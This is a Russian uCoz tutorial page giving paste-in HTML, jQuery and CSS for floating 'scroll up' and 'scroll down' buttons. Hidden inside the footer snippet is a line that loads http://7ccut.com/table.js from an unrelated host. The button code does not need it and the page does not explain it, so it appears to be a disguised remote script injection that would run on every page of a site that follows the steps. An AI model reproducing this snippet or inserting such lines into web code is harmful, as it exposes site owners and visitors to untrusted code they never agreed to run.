Пятница, 29.03.2024, 15:39
Главная Регистрация RSS
Приветствую Вас, Гость
Категории раздела
Видео уроки [3]
Cкрипты [4]
скрипты
Облако тегов
Реклама
Поиск
Реклама
Главная » 2013 » Декабрь » 8 » Кнопка Вверх и вниз для сайта
15:42
Кнопка Вверх и вниз для сайта

Как правильно установить кнопку "Вверх и вниз" на сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div style="display:none;" class="nav_up" id="nav_up">
  <img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
  <div style="display:none;" class="nav_down" id="nav_down">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
  <script>
  $(function() {
  var $elem = $('body');
   
  $('#nav_up').fadeIn('slow');
  $('#nav_down').fadeIn('slow');  
   
  $(window).bind('scrollstart', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
  });
  $(window).bind('scrollstop', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'1'});
  });
   
  $('#nav_down').click(
  function (e) {
  $('html, body').animate({scrollTop: $elem.height()}, 800);
  }
  );
  $('#nav_up').click(
  function (e) {
  $('html, body').animate({scrollTop: '0px'}, 800);
  }
  );
  });
  </script>

 


Это вставляем в "Таблица стилей (CSS)" в самый низ

 

Код
.nav_up{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:30px;
  cursor: pointer;
  }
.nav_down{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:66px;
  cursor: pointer;
  }

 


Готово.

 

Просмотров: 263 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Последние файлы

 
[06.11.2015][Скрипты для ucoz]
Плейлист для фильмов или сериалов UCOZ (0)
[09.05.2012][Шаблоны для ucoz]
Шаблон Millenium (14)
[12.02.2012][Программы]
Программа Intro Banner Maker v2.9 Скачать бесплатно (30)
[12.02.2012][Программы]
Adobe Photoshop CS5.1 Extended 12.1.0 Update 2 (x32/x64) RUS Скачать (11)
[12.02.2012][Программы]
Бесплатная программа для создания меню сайта CSS Tab Designer (1)
[24.12.2011][Шаблоны для ucoz]
Флуд-контроль для форума (1)
[10.07.2011][Шаблоны для ucoz]
Шаблон Mistic v.2 (2)
[08.07.2011][Шаблоны для Joomla]
GK Gamebox v1.0.5 (2)
[08.07.2011][Шаблоны для ucoz]
Улучшенная версия шаблона "Kiks" (1)
[05.07.2011][Шаблоны для ucoz]
Шаблон Cinema World для ucoz (2)
Последние статьи

[12.07.2013]
Adobe Photoshop CS 6 Extended. Новые возможности (0)
[12.02.2012]
Как сделать собственный баннер через фотошоп? (1)
[12.02.2012]
Как сделать баннер для своего сайта самому (1)
[12.02.2012]
Онлайн генераторы баннеров и логотипов (7)
[12.02.2012]
CSS Tab Designer Бесплатная программа для создания меню сайта (0)
[12.02.2012]
Меню сайта в uCoz – как его создать или изменить? (2)
[10.02.2012]
Как раскрутить сайт бесплатно? (0)
[10.02.2012]
Как сменить дизайн на сайте Ucoz (0)
[10.02.2012]
Как создать сайт на юкозе? (4)
[08.02.2012]
Как установить иконку favicon.ico в ucoz? (1)
Последние видео уроки и скрипты


[05.11.2015][Cкрипты]
Переключатель сериалов для ucoz (0)
[05.11.2015][Cкрипты]
Переключатель сериалов для ucoz (0)
[13.09.2014]
Кнопка рейтинга + и - (0)
[06.09.2014]
Красивая статистика для uCoz (0)
[06.09.2014]
Вид комментариев ucoz с круглым Avatar (0)
[06.09.2014]
Up на подобии как в вк (0)
[31.08.2014]
Cоц. закладки для сайта (0)
[31.08.2014]
Кнопка наверх в виде ракеты с эффектом огня (0)
[29.08.2014]
Полный мини-чат для uCoz (0)
[30.03.2014]
Радио для сайта (0)